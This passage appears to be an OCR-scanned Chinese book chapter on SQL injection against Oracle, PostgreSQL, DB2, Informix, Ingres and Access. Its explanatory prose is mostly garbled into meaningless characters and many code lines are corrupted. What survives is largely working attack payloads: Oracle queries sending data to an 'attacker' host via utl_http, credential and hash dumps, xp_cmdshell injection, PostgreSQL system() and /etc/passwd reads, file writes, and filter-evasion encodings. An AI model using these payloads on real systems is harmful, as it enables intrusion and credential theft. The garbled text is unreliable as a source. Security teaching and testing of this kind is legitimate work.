% 10-14 ¥ T HFHRECSCEEEE SN SQL 5. + 10-15 # 10-16 #IH T H T #&
Oracle #3158/ SQL i&4]. '

% 10-14 32HY Oracle B EB{HEEER

s i & if]
[7F. 8 SELECT banner FROM vS3version;
ETnpiia SELECT user FROM dual;
5t P SELECT username FROM all users ORDER BY username;
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(%)
8 # ' M
AT H PR SELECT * FROM user role privs;
SELECT * FROM user_tab_privs;
SELECT * FROM user_sys_privs;
SELECT sys context ('USERENV', 'ISDBA') FROM dual;
R R %28 EHLH SELECT sys context ('USERENV', 'HOST') FROM dual;
B B AR 95 2% E L4 SELECT sys context ('USERENV', 'SERVER HOST') FROM dual;
HAL A RER SELECT utl http.request('http://attacker:1000/'|| ( SELECT
banner FROM v$version WHERE rownum=1}) FROM dual;
EREEARO 1000 SEHET T —% Hrre ER, WdiF (HTTP HK)
EFRERTEET oracle AR
% 10-15 $2HX Oracle HIREMBRER
¥ & E 4
B S SELECT global name FROM global name;
PR/ H P SELECT username FROM all users;
il th #e 47 B H A, SELECT ower, table name FROM all users;
T SELECT ower, table name, column_name
FROM all tab _columns WHERE table name='tblUsers';
*10-16 WEEFHMEER
¥ &’ ' M
S mERE SELECT table name, column_name, encryption_alg, salt FROM
dba_encrypted_columns
M oracle 10g JFéh, AILIRRAGFEEME. SERBMAERE, RHRES
BIFIA 23 HonE .
B FH hn ¥ B2 SELECT owner, name, type, refernenced name FROM
Fop 3 all dependencies;
--show objects using database encryption (e.g. for passwords
in 'DBMS_CRYPTO'and 'DBMS OBFUSCATION TOOLKIT')
F) AL F erypt F 7 SELECT owner,object_name,procedure_name FROM all procedures
$ 1) PL/SQL ¥ where (lower (object_name) LIKE 'S$crypt%' or lower

(procedure_name) like '%crypt%') AND object name not
in ('DBMS_OBFUSCATION TOOLKIF', 'DBMS CRYPTO TOOLKIT'):

2. SQL HiF&EH: Oracle
2 10-17 FIH T AT SQL BiE Mt — 3k % H AR L.
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#1017 SQL HiE#
B ® E i
R LENGTH ()
M SE SE R B R EY SELECT SUBSTR(string, offset, length) FROM dual;
T8

% 7F 8 (ABC) A~ # SELECT chr(65) || chr(66} || chr(67) FROM dual;
B BMERY SELECT concat (chr(65),concat (chr (66),chr{67))) FROM dual;
SELECT upper((select substr(banner,3,1) ||substr {(banner,
12,1} | | substr (banner, 4,1) from véversion where rownum=1}) )
FROM dual;
fih %2 B fa] RE IR SELECT UTL_INADDR.get_ host address(’nowhere999.zom')
FROM dual;

-- triggers measurable time delay

3. WHHIEER S 28 - Oracle

Oracle HAFFEPIFF AR RIZARUIEN: 4 SQL 7 AFI PL/SQL 3. 7 PL/SQL A,
AT ASAT 8 PL/SQL B TUZEAL4EM) SQL A, 3% U K AL #5254 SQL &4,

1) & SHRiT
A LUE A F 514 Macro Ivaldi 475 )SEEI 2R 2t fir © FOBRAT R A b SO A8 82/ 55 15 ) «

o www. Oxdeadbeef.info/exploits/raptor_oraexec.sql

® www. Oxdeadbeef.info/exploits/raptor _oraextproc.sql

2) iEA M4
T4 PL/SQL RIBHIFI T, T M Oracle fR % 25 iR EU A Hb S0 4+
AL SO XMLType '

create or replace directory GETPWDIR as
'C:\APP\ROOT\PRODUCT\ll.l.O\DB_I\OWB\JZEE\CDNFIG';
select extractvalue(value(c), '/connection-factory/Ruser')]|
'/'llextractvalue (value{c), '/connection-factory/@password') ||
'@'||substr(extractvalue (value(c), '/connection-factory/@url'),
instr(extractvalue(value(c), '/connection-factory/@url'},'//')+2 conn
FROM table(
XMLSequencé(
extract (
xmltype (
bfilename ('GETPWDIR', 'data-sources.xml'),
nls_charest_id ('WE8ISO8859P1')
Yr
'/data-sources/connection-pool/connection-factory"

343
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SQL AN EH SR

Y ¢

/
PEA . Oracle Text

CREATE TABLE files (id NUMBER PRIMARY KEY,path VARCHR(255)
UNIQUE, ot_format VARCHAR(#6));
INSERT INTO files VALUES (1, 'c:\boot.ini', NULL);
-- insert the columns to be read into the table (e.g. via SQL Inijection)
CREATE INDEX file index ON files(path) INDEXTYPE IS ctxsys.context
PARAMETERS ('datastore ctxsys.file datastore format column ot format');
-- retrieve data (boot.ini) from the fulltext index
SELECT token_text from dr$file index$i;

3) AR T PUSQL EN)
BTREBITFRAAEHAT PLSQL EAKE N A LBIEM. KEHERLT, HEEZEE

BB PER AT PL/SQL 3R

EEAM L. dbms_lob

Create or replace directory ext AS 'C:\';
DECLARE
buf wvarchar2 (4096);
BEGIN
Lob_loc:= BFILENAME ('MEDIA DIR', 'aht.txt');
DBMS_LOB.OPEN (Lob_loc, DBMS_LOB.LOB_READONLY) ;
DBMS LOB.READ (Lob_loec, 1000, 1, buf):
dbms_output.put_line(utl_raw.cast _to varchar2(buf));
DBMS_LOB.CLOSE (Lob_loc):
END
* via external table
CREATE TABLE products_ext
(prod_id NUMBER, prod name VARCHARZ(50), prod_desc VARCHARZ (4000),
prod category VARCHARZ (50), prod category desc VARCHARZ (4000),
list_price NUMBER(6,2), min_price NUMBER(6,2), last_updated DATE)
ORGANIZATION EXTERNAL
{
TYPE orcle_loader
DEFAULT DIRECTORY stage dir
ACCESS PARBMETERS
(RECORDS DELIMITED BY NEWLINE
BADFILE ORAHOME:'.rhosts'
LOGFILE ORAHOME:'log products ext'
FIELDS TERMINATED BY ','
MISSING FIELD VALUES ARE NULL

(prod_id, prod name, prod_desc, prod_category, prod_category_desc, price,
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price_delta, last_updated char date_format date mask "dd-mon-yyyy")
)
LOCATION ('data.txt")

PARALLEL 5
REJECT LIMIT UNLIMITED;

4) B HNRT PU/SQL iEAN)

BT RMARREREGER PL/SQL A ST ZHWEH T, FEMIT SQL*Plus
FE PR EEEERIEAR .

A A utl_file

Create or replace directory ext AS ':c\';

DECLARE
v_file UTL FILE.FILE TYPE;
BEGIN
v_file := UTL FILE.FOPEN ('EXT','aht.txt', 'w');

UTL_FILE.PUT_LILE(v_file,'first row');
UTL_FILE.NEW_LINE (v_file);
UTL_FILE.PUT_LINE(v file, 'second row'};
UTL_FILE.FCLOSE(v_file);

END;

B G0 utlfile

Create or replace directory ext AS 'C:\';

DECLARE fi UTL_FILE.FILE_TYPE;

bu RAW(32767);

BEGIN

bu:=hextoraw('BF3BO1BB8100021EB8000B88200882780FB81750288D850E8060083C402CD2
0C35589E5B80100508D451A50B80F00508D5D00FFD383C40689ECSDC3558BEC8B5E088RB4E048B56
06B80040CD21730231CO8BESS5DC39048656C6CHF2C20205F726C64210D0A") ;

fi:=UTL_FILE.fopen('EXT', 'hello.com', 'wb',32767) ;

UTL_FILE.put raw(fi,bu,REUE);

UTL_FILE.fclose(fi);

END;

/

BAMIHF: dbms_advisor(Oracle 10g 5 2. )5 BIRRA)

create directory MYDIR as 'C:\';

exec SYS.DBMS_ADVISCOR.CREATE FILE ( '"This is the content'||chr(13) || 'Next
line', 'MYDIR', 'myfile.txt'):

5) WRMBEOS
ISR R AR, AT ORI AT T 50208 09— 26 R M B8 P R Y 1 2 08 75«
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SELECT name, password FROM sys.user$ where type#>0 and length(password)=16;
-— DES Hashes (7-11qg)

SELECT name, spare4 FROM sys.user$ where type#>0 and length (spared)=62;

-- SHAl Hashes;

HEEE 100 FKROA T LA M) Oracle RPAF OLFER . X044 BHE T LALL B
I ABE. FHEE] TR 2SRRI 14

select view_username, sysman.decrypt (view_password) from
sysman.mgmt_view user credentials;

select credential_set_column, sysman.decrypt {credential value) from
sysman.mgmt_credentials2;

select sysman.decrypt(aru username), sysman.decrypt {aru_password) from

sysman.mgmt_aru_credentials;

R OR WT LA FAR % W] 4 38 JREXAY T R (ELi Woraauthbf, John the Ripper. Gsauditor-
Checkpwd Ml Cain & Abel)X KM Oracle 11917 . ESHATKREM “10.7 B~ —HLAK
BUX T BT ikais:.

104 B AEITER

T T LLIE I 40 B O\ SRIB T AR L AR B TR 4 B A0S R PR R P4 A R S\ it
o ARNR AL R BIT LUX M 7 OB AR IE S 98 28 T 2% A B RAR Rt — N 2%,

10.4.1 5| SidiERF

HEISFR()E SQL AR . IEFENI, 8% Sxd 85| 54T sl WERHD
(double up) LAME G —RbEAAIMLE] . LA T By 1L Bk WA 515 2 RO . IR,
H5RBEHE AP RMARLECTER, XA R R, EARFERSWEHG S ERRHET R
SEo WMIERHEET S TN, TERGFH SO U EEIIBE S5, 1018504 T
EEFRAT BB PEF & L3RR SELECT ‘ABC X — 2 #) I a] L I i 77 i

#1018 FEMSISFEPRTFEHE
¥ & CE
Microsoft SQL Server SELECT char (0x41l) + char(0x42) + char(0x43);

MySQL Server SELECT char (65,66,67});
SELECT 0x414243;
Oracle SELECT chr(65) || chr(é6) || chr(67) from dual;
Select concat{chr(65),concat (chr(66),chr(67))) from dual;
Select upper((select substr(banner,3,1) || substr(banner,
12,1} |lIsubstr(banner,4,l) from v$version where

rownum=1}} from dual;

Microsoft SQL Server it SCHFE B B P MG AT #), SR/E A EXEC SKHUUTE . 78 FIfi 57
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., BATGIE T~ % h@q B R, FFEB) AT Bt %S0 775 8 ¥ SELECT ‘ABC'# i)
IR 45 1% A0 B -

DECLARE @g varchar (8000)
SELECT Bg=0x53454c454354202741424237
EXEC (@q)

R ZEOR AT LAZE A ) N 3R AR 515 FREATR T, IITERAR. WTHMER T
Perl 1A 315 B iZ B AR K B 30 48% SQL i A):

#!/usr/bin/perl
print "Enter SQL gquery to encode:";
$teststr=<STDIN>;chomp S$teststr;
Shardcoded _sql =
‘declare @g varchar (8000) '.
'select RBg=0x*** ',
'exec(@qg) ';
Sprepared = encode_sql ($teststr);
$hardcoded_sqgl =~s/\*\*\*/$prepared/g;
print "\n[*]-Encoded SQL:\n\n";
print $hardcoded_sql ."\n";
sub encode sqgl{
@subvar=@_;
my $sglstr =S$subvar[0];
@ASCII = unpack("C*", S$sglstr);
foreach $line (@ASCII) {
Sencoded = sprintf('%lx',$line);
$encoded command .= $encoded;
}
retrun S$encoded command;

}
10.4.2 HTTP 4&#3

A AT LS I SR G A pR ok S0 B) N E g Bk dm g, LUBETT R840 48 LA A B 795
(EFEH A ELZP)MMARIETL LS. % 10-19 FIH 7% WK SQL JLEMFIZ Mg .

% 10-19 WI0/EH SQL TP
F M WMEENEE
' %27
%2527
%u0027
%u02b9
Yoca%b9
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(8:3%)

F ®

WEHTER

%22

%2522
%ou0022
%ouff02
%ef%bc%%82

%3b

%253b
%u0003b
%oufflb
YoefY%bc%9b

%28

%2528
Y%u0028
Youffos
YeefYobc%:88

%29

%2529
%0029
%uff09
%oef%bc%89

[SPACE(ZH)]

%20
%2520
%u0020
%ff00
Yoc0%al

10.5 #Hi#F SQL EAME

R 10-20 FIH TR FF A E2RF A SQL ¥ A BRI 205 2018 3 1 — S Pk iR A4 iR .

#10-20 Hi® SQL EARMSEFR

$HiR/Bkay BRAFTE
P ¥ UNION SELECT iEARJEHMRIE UNION ALL
47—~ UNION SELECT Hifi, HEUAEHIAT | SELECT. iXFEEEMFR UNION SELECT ik
K& image 25851, image 4R AR VEAT LB AERT tH BRI AH 3G 1) L.
HiRWA #itm-

Image is incompatible with int I.
The image data type cannot be selected
as DISTINCT because it is not
compatible.

UNION ALL SELECT null,null,null
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(ER)
$HiR/HEE R H R
ki Microsoft SQL Server
£ A ORDER BY FHJ Microsoft SQL Server X ¥ i S EA G H#E

FEARSIEAL T ORDER BY FAAIL. WEH | WRNEEE WA FFG. 07U T ) X 35 50 i £ f
FA A9 T5(H i UNION SELECT) ¥ R ek H . oy, et FadE SR BN Z Y B AT
AFIPATTF SQL Fif), HPMdimSIER | BaHiT:

AR ORDER BY 1;EXEC master..xp cmdshell 'cmd'
SELECT * FROM

products GROUP BY AT LA A Microsoft SQL Server HiE il 4 1R 1 B kiR
attackers_data DESC FIZE#HI4E £ 83E. £\ ORDER BY FH)if, BT LAEA

THEE:

ORDER BY (1/(@@version));

-- return the version

ORDER BY 1/ (SELECT TOP 1 name FROM
sysobjects WHERE xtype='U");

-- Return name from sysobijects

MySQL Server

ATLATE ORDER BY T4 i F ot RIGER I SQL

BiE. RSN root@localhost, FB4FFIHF

Al AR R EER

ORDER BY (IF((SELECT user()='
root@localhost'),sleep(2),1));

Oracle
ATEME A utl_hetp 8 3B B & AT TCP 3 T
REIL S HTTP 3488, 8T 3K ORDER BY 74
WL O 1000 5 RN B F WAL T —4% HTTP 4.
% HTTP R TEEREF2 T BE T Oracle R IRE:
ORDER BY utl_http.request('http://attacker:
1000/"| | ( SELECT
banner FROM vSversion WHERE

rownum=1))
T3] ORDER BY FHR]& 5| R — & Oracle A5

HIBER:
ORDER BY utl inaddr.get host name

{ (select banner from v$version where

rownum=1) )
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(BEX)

EiRpkE

B3R HAR

BhiR
B A B 7 A SERUER, FREL ot http FEIREAF
M.

W% Oracle ZAFERHEIA utl_hetp 41 BHER 23 L4
B Ait, BEASBMXE 4355 afLlEd
HTTPURITYPE 1 %24 %St ELAH R ) B 4, 10 H IR

HRHE Liaapes 4 B

ORA-00904 invalid identifier SELECT HTTPURITYPE (
'http://attacker:1000/'|| {(SELECT
banner FRCM vSversion WHERE rownum=1)).
getclob() FROM dual

/14 ERT G R R A ERM B AR s . 8

utl_inaddr FEEFEH .

FELMRE, thin iy i H 5 R(ACLYAE AR

& 11, PR O MR LA R K 24 Java F.

HRNE

ORA-00904 invalid identifier

ORA-24247 network access denied by access
control list ACL)-11g

ORA-29540 oracle/plsql/met/InternetAddress

Vo H e R A B AR ML AR, T TR AR S e 3N
—iFIK:

REDER BY
ORDSYS.ORD DICOM.GETMAFPPINGXPATH( (
SELECT banner FROM v$version WHERE
rownum=1) ,null,null)

ORDER BY
SY3.DBMS AW XML.READAWMETADATA { {
SELECT banner FROM v$version WHERE
rownum=1},null)

ORDER BY CTXSYS.DRITHSX.SN((SELECT
banner FROM v$version WHERE
rownum=1} ,user)

ORDER. BY
CTXSYS.CTX REPORT.TOKEN_TYPE (user,

(SELECT banner FROM v$version WHERE

rownum=1} )
iR AT LA{# A CAST eASAR tRi%A R .
ATH X MySQL $i#E FEH) UNION SELECT 3¢ | fitm:

it ] — “illegal mix of collations” #.8 .
HRAMHE

illegal mix of collations(latinl_swedish_ci,IMPLICIT)
and(utf8_general ci,SYSCONST) for operation
‘UNION'

UNION SELECT user(),null,null;
Fh:
UNION SELECT CAST (user () AS char),null,null;




$10¥ & £ H H

(&EF)

faiR/HEAE

®RAE R

PRk

1T ¥ 2 Microsoft SQL Server ¥ FE 1y
UNION SELECT A ifiitdic®—- “collation
conflict” {H& .

HRHEB

Cannot resolve collation conflict for column 2 in
SELECT statement

TARREPORER, —FIEE N B EE Collation
B, REfFEEAPERe. ETHEMAFT, BRI
4T —4 UNION ALL SELECT ##j3kHrE sysobject
R+ i) name 3.
B 1. ¥1E collation FI{E
UNION ALL SELECT
SERVERPROPERTY {'Collation'),null
FROM syscobjects
A B EATH Collation /&M B X SQL_Latinl _
General CP1_CI_AS.
#2% 2: 7E UNION SELECT " 5:BE collation H{E
UNION ALL SELECT 1, Name collate
SQL_Latinl General CP1 CI AS,null
FROM sysocbjects

10.6 HAF & L& SQL iEA

&P F E ey = M RAT I SIEEE: Microsoft SQL Server. MySQL #1 Oracle. A&7 5 7E
Sy HoA A AH WA & (Eb i PostgreSQL. DB2. Informix F Ingres)i2ft—MRIES % .

10.6.1 PostgreSQL &F=H$

PostgreSQL & — Ml IEE K B HIRERK & LA FREGEE. ERTHBEWA,
FMt, &V a www.postgresql.org/docs/manuals/

1. MERREEFEEFERNER

£ 10-21 FUH T A THRECCEACE(E 8K SQL iEH. & 10-22 5 T A THEHRAFE BN

SQL iEf).
2 10-21 $RHE PostgreSQL HEEMNR TSR
B # ' M
B SELECT wersicn{);
B SELECT getpguesername();
SELECT user;
SELECT current_user;
SELECT session_user;
RN SELECT usename FROM pg user;
43T PR SELECT usename, usecreatedb, usesuper,
usecatupd FROM pg user;
ﬁﬁ-;ﬁg&%ggimg SELECT inet_server_addr();

351
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%1022 $2EY PostgreSQL MIEFEMBRIER

¥ ® g 9
4 Wi M P SELECT current database();
FI) tH ¥ B SELECT datname FROM pg database;
Al SELECT c.relname FROM pg_catalog.pg_class ¢ LEFT JION

pg_catalog.pg_namespace n ON n.oid=c.relnamespace
WHERE c.relkind IN ('r','")

AND pg catalog.pg table is_wvisible(c.oid)

AND n.nspname NOT IN ('pg catalog','pg_toast');

5| H ¥ SELECT relname,A.attname FROM pg_class C,
pg_namespace N, pg_attribute A, pg_type T WHERE
(C.relkind="r') AND (N.nspname = 'public’')

AND (A.attrelid=C.oid) AND (N.oid=C.relnamespace)
AND (A.atttylid=T.oid) AND (A.attnum>0)

AND (NOT A.attisdropped);

2. SQL HiF &M : PostgreSQL
2 10-23 FH T $47 SQL HiF Wi —2e3eE A AR 3.

F# 10-23 SQL HixEH

B '
FRREE LENGTH ()
M E2FE PRI TS5 SUBSTRING (string,offset, length)
FRRCABC)RHEAZ| BHRTHR SELECT CHR(65) | ICHR(66) | (CHR(67);
i % B[] 3E AR SELECT pg sleep(10);
-- Triggers a 10 second pause on
version 8.2 and above

3. WEHMIEFERR %88 PostgreSQL

PostgreSQL H R IBUHITHRER AN S WA BRI, AL rl LUASEBE.dll B EEXS
% (shared object)(.s0) 35 G A& 0 system()iXFE A % . 5B PostgreSQL {#H COPY iEH)
[A) R AT DASEHR AR 3 5045

1) PITRGEHS
FHTF 8.2 M7 BTH) PostgreSQL ¥iE FE R4 2%, WLMEFA T3 SQL HAIMIRAE UNIX libe
FES N system ER%L:

CREATE OR REPLACE FUNCTION system (cstring) RETURNS int AS
'/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT;
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B FRuTLUBE AT F %) SQL B #H system 3.
SELECT system('command');

i Y PostgreSQL hi 4= B 3k {# FH 52 S 47 1) PostgreSQL PG_MODULE_MAGIC %: 3k w4+
FRAEE. BARENZ AL HAT, TE L&A SHIE so LAl 306, EAUSH T 41
PG_MODULE MAGIC %. 2% TR FELIKRESLE L

www.postgresgl.org/docs/8.2/static/xfunc-c.html#XFUNC-C-DYNLOAD

2) el A i
ATLMER T3 SQL iBA)3F (& Bh S F I/ SR B A M SO A, X oAb A PR R G
) PostgreSQL FH /= I/ 4T FF 19«

f
CEREATE TAEBLE filedata(t text);
COPY filedata FROM '/etc/passwd'; --

ATLUMER T 51 SQL BRI E A MM, XSt R A3 BRAE RGE LM PostgreSQL A
Vi AR .

CREATE TABLE thefile(evildata text);
INSERT INTO thefile(evildata) VALUES ('some evil data');
COPY thefile (evildata) TO '/tmp/evilscript.sh';

3) REBIEENS

AT LA B MD5 823k % PostgreSQL N4, EMARAENEMOSTRMA, 4, FH
BEMNAEFFEESHEN mdS F/. T35 SQL #iH£FH PostgreSQL ¥4 /& 1 50 H - 45
M4,

select username||':'||passwd from pg_shadow;

sqlhacker Fi P BIoR @I I 40 T By o

sglhacker:md544715a9661408abe727f9963bf6dad93

1R% O 4R T R A FF MD5 #5#, f23%5 MDCrack. John the Ripper Ml Cain & Abel 2.
10.6.2 DB2 &8

5 Web NSRRI R ZHIEES, IBM i) DB2 HIEFERE B/ RER KL FBARITH—
FRBEFE. A, WRERT DB2 WNATIBR T SQL NS, MAXTHFHR)ELE
RFIAE.

1. WENREELRRSBMNRRX

& 10-24 5 T B FREOCEACE (5 B8 SQL 5], X 10-25 5| T AFHEHERE B
SQL i54].
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£10-24 BN DB2 HIEFMEERES
H & ' il

g A= SELECT versionnumber, version_timestamp FROM

sysibm.sysversions;

METE SELECT user FROM sysibm.sysdummyl;
SELECT session_user FROM sysibm.sysdummyl;
SELECT system user FROM sysibm.sysdummyl;

SELECT grantee FROM syscat.dbauth;

YA ATH AR SELECT * FROM syscat.dbauth WHERE grantee = user;
SELECT * FROM syscat.tabauth WHERE grantee = user;
SELECT * FROM syscat.tabauth;

% 10-25 2 DB2 FBEMBR SR

B R T i
4 5 R SELECT current server FROM sysibm.sysdummyl;
By B SELECT schemaname FROM syscat.schemata;
SiH#E SELECT name FROM sysibm.systables;
bTIeE]) SELECT name, tbname, coltype FROM sysbibm.syscolumns;

2.SQL 5 &E#.: DB2
F 10-26 F|H T AT SQL B —ieEH B R .

% 10-26  SQL HiF&H

8 & E i
FHREKE LENGTH()
M FRFER PR 1 5B SUBSTRING(string,offset,length) FROM
sysibm.sysdummy];
FRFR(ABCA#HH 5| 5 R R SELECT CHR(65)||[CHR(66)||[CHR(67);

10.6.3 Informix &= 8

Informix H(HEFEAR %5 28 th & i1 IBM i T 248500, MELHMEERET &, EARME L. W
BEEMSEFET T —4 Informix RE85, MaE FROSERE ST,



F10E S F HH

1. WEHREREERMER
F 10-27 FIH T H THREBOCEA B 5 B 1 SQL iE4). 3 10-28 5H 1 A THEEE 81

SQL 47,
& 10-27 R Informix MEIEEREER
¥ E ' i
Jiz A SELECT DBINFO('version', 'full') FROM systables WHERE
tabid = 1;
METE P SELECT USER FROM systables WHERE tabid = 1;
FH AP select usertype,username, password from sysusers;
5T PR select tabname, tabauth, grantor, grantee FROM
systabauth join systables on systables.tabid =
systabauth. tabid
BHLHE IR &8 B ML L SELECT DAINFO('dbhostname') FROM systables WHERE
tabid=1;
# 10-28 12 Informix MBFERERIER
B # E M
ﬁﬁ‘gﬁﬁgﬁ SELECT DBSERVERNAME FROM systables WHERE tabid = 1;
1) HH S SELECT name, owner FROM sysdatabases;
FlH 2 SELECT tabname FROM systables;
SELECT tabname, viewtext FROM sysviews join systables
on systables.tabid = sysviews.tabid;
Fi| 4 % SELECT tabname. colname, coltype FROM syscolumns join

systables on syscolumns.tablid =systables.tabid;

2. SQL §iE#: Informix
# 10-29 5| T hAT SQL & B i — a3k % R %

F 10-29 SQL HiF&E#

H ® '
EHREKHE LENGTH ()
WIS e R R R T i SELECT SUBSTRING ('ABCD' FROM 4 FOR 1) FROM
systables where tabid = 1;-- returns 'D;
FRRCABC) R a2 R R SELECT CHR(65) | |CHR(66) | |CHR(67) FROM
systables where tabid = 1;

355
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10.6.4 Ingres &=

Ingres & —Fh ] LIZERTH LR IE RS ALK FFREIRE . 755 Web N4 B %0 %
1, Ingres BT BAMTNEEEZ —. ERERMEL(E B UK Ingres 1575, HF Vi1
http://ariel.its.unimelb.edu.au/~yuan/ingres.html.

1. WEMREREESERX

# 10-30 FH 7 A FRBOCRBARE(S B M SQL iEf). # 10-31 FH TH FHEEE BB
SQL i&H].

% 10-30 2BV Ingres MiBEMREER

H &’ '# A
5. SELECT dbsminfo('_version');
AT SELECT dbsminfo('system user');

SELECT dbsminfo('session user');

FIHES SELECT name, password FROM iiuser;

Bt LR SELECT dbsminfo('select_syscat');:
SELECT dbsminfo('db_privileges');
SELECT dbsminfo ('current priv_mask');
SELECT dbsminfo('db_admin');

SELECT dbsminfo('security priv'});
SELECT dbsminfo('create table');
SELECT dbsminfo('create procedure'};

% 10-31 $2H Ingres FIBEMEREE

¥ E F i
AT HIR SELECT dbmsinfo('database');
FIHE SELECT relid, relowner, relloc FROM iirelation WHERE
relowner != 'Singres';
I H 5| SELECT column name, column datatype, table name,

table cowner FROM iicolumns;

2. SQL Hix&EB: Ingres
£ 10-32 I H T #h4T SQL B EFEB i — e %A R ¥

¥ 10-32 SQL H:iGEE
B #® ' i
F B LENGTH ()

WS EFZ B PENTFS SELECT substr(string, offset, length):
PR (ABC)YAH B3| SRR TR SELECT chr(65) 1 |lchr (66} ||lchr(67)
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10.6.5 Microsoft Access

Microsoft Access $HE FE T RAFHUTE N ANV RN, BT LA R 70 B B NEGE B TR )
R 483 insomniasec.com [ Brett Moore %% 7 —15 55 Microsoft Access SQL {EAAKHY
RFHRIL, ATLLATFFIMhERE)E: www. insomniasec.comy/publications/Access-Through-Access.pdf.

10.7 * R

ARG AKX T REFRA TROBESIR, SIEBHTRA. FAEMIL SQL EA
Wil .

10.7.1 SQLFANBAKS

e Victor Chapela #85#] “Advanced SQL Injection” : www.owasp.org/index.php/Image:
Advanced_SQL_Injection.ppt.

® Chris Anley #%5 [ “ Advanced SQL Injection in SQL Server Applications” :
www.ngssoftware.com/papers/advanced_sql_injection.pdf.

® Gary O’Leary-Steele $85() “Buffer Truncation Abuse in .NET and Microsoft SQL
Server” : http://scanner.sec-1.com/resources/bta.pdf.

® Brett Moore $8'5 [ “Access through Access” : www.insomniasec.com/publications/
Access-Through-Access.pdf.

® Chema Alonso $% ] “Time-Based Blind SQL Injection with Heavy Queries” :
http://technet.microsoft.com/en-us/library/cc512676.aspx.

10.7.2 SQLFEAEEH

® PentestMonkey.com £t %} Oracle. Microsoft SQL Server. MySQL. PostgreSQL. Ingres-
DB2 Fil Informix ff) SQL A% & #.: http://pentestmonkey.net/cheat-sheets/,

® Michaeldaw.org £} X} Sybase. MySQL. Oracle. PostgreSQL. DB2 A Ingres i) SQL i
A XiH: http://michaeldaw.org/sql-injection-cheat-sheet/,

® Ferruh Mavituna £ %f MySQL. SQL Server. PostgreSQL F1 Oracle f¥] SQL 1 A % % 8.
http://ferruh.mavituna.com/sql- injection-cheatssheet-oku/.

e Ferruh Mavituna £t X} Oracle # SQL A& & ¥ http:/ ferruh.mavituna.com/oracle-
injection-cheat-sheet-oku/ .

10.7.3 SQLEAFAIA

® Absinthe £ —3KE T Windows GUI [IFIfH TR, & Microsoft SQL Server. Oracle.
PostgreSQL #1 Sybase, J{fiA] SQL BHHEMETFHIZM SQL HA: www.0x90.0rg/
releases/absinthe/ .

® SQLBrute & —3K# T BIMEIRE SQL HiE TH, B 3X# Microsoft SQL Server
Oracle: www.gdssecurity.com/1/t/sqlbrute.py .
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Bobcat &2 ZET Windows GUI M1 T E, ‘&3 Microsoft SQL Server #F|ff:
http://web.mac .com/nmonkee/pub/bobcat_files/BobCat_Alpha v0.4.zip.

BSQL Hacker 7E SQL yEAFH A —FHAMEHFH TR, E£ FET Windows
H) GUI B, SZ¥F Microsoft SQL Server. Oracle fl MySQL, J#37#F SQL HEFMET
iR SQL yEAHIAR: http://labs.portcullis.co.uk/application/bsql-hacker/ .

Sec-1 Automatic SQL injection(SASI)& —ZK{# i Perl 4% A Microsoft SQL Server |
T H: http://scanner.sec-1.com/resources/sasi.zip .

Sqlninja B —gKfEH Perl %S M HICHEREARISATH Microsoft SQL {EA T H:
http://sqlninja.sourceforge.net/ .

Squeeza #{F°4 BlackHat FE/RI]— ¥ RM. EXREMRIENEGEYE, XHF

Microsoft SQL Server: www.sensepost.com/research/squeeza.

10.7.4 ALHMEIR

10.8

—_

[x*]

w

Cain & Abel: www.oxid.it.

Woraauthbf: www.soonerorlater.hu/index.khtml?article_id=513.
Checkpwd: www.red-database-security.com/software/checkpwd.html.
John the Ripper: www.openwall.com/john/.

Pig R TR

.SQL A7

SQL S EMENE. EHFENTIE, HTS5EEFERSBHTTE. &
# WL SQL i& )& SELECT. INSERT. UPDATE. DELETE 1 DROP. SELECT &1
#] WHERE FHJ88 5 G & P 0L HEE, 1084 KB 5 SQL {EN IR R B .
UPDATE Ml DELETE B4k % WHERE T 413k ) Wi 15 S sk i B 7 p &g % . [
UPDATE Bk DELETE iG6]iEA SQL I, —EEEMMAREREMEREN. 2
B G 0 IX P RKIBAIFIEAN OR 1=1 BHAIRIA] true HI14%&44.

UNION ZH 7 HF& M4l & SELECT &1 A4 . UNION SELECT %
FFR A SQL E AR .

SQL EARESHE

FZAAH SQL EA SN, WRIBIEEFE&RBEZEN . Ak — 0T H B 6
AR A2 — T a] S () HERR VR B Y 5 B iR

R SQLIEATIN, BR8] —K A RRRE—4TH M — IR R R . o7 Ll
R 2 52 AT B 25 SROE B A7 W S8 T X B o

B ML R

M F AT LUIE IR 7 R e R R A B AR TT IR T b B 5| S TR ()
oiFid gds. #lan, 7F Microsoft SQL Server H!, char(65,66,67)%4 F<ABC’.
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Unicode Ffit ) UTF-8 % HTTP 4ahd4: 547 i 6] A T8 FF o A S iE it g s .
FRLAR FEFE 48 ELANAS B 30 G 5 FRO8 B 44 3 M A\ T8 1 i 8 B8 1 AR FE AR R PG .

. HE SQL iE AT

{# A1 UNION SELECT FH] SQL #E A #part, R IRIHE T % image 38 AR
5, M) ge&BRIB R ppEEHR, A4S R, ATH|A UNION ALL SELECT.

® Microsoft SQL Server 324 14 5 3R A A A FT A M I HEE B WO T 4R
e Oracle ¥(EFEMRSFAE utl_hep A, AT LUEF R T NBHE B R 45 28 ELIE S

HTTP #E#. w7 Al XA DR I % 32 2T & TCP 3% ) HTTP 443 R 1R BUAR
BERHE

HitFEE LM SQLiEN

BB K BRIV & & Microsoft SQL Server. Oracle 1 MySQL. 4 %4y 7 ¢+t
PostgreSQL. DB2. Informix # Ingres i SQL {F A& & .,

WL AN T NRBORFIA PostgreSQL ¥ B Fimt, AT LAIKBURFR 6y 4 $hA4T .
PostgreSQL M 8.2 WiJF4h, Bl S AMEEH 24124 PG MODULE MAGIC % .
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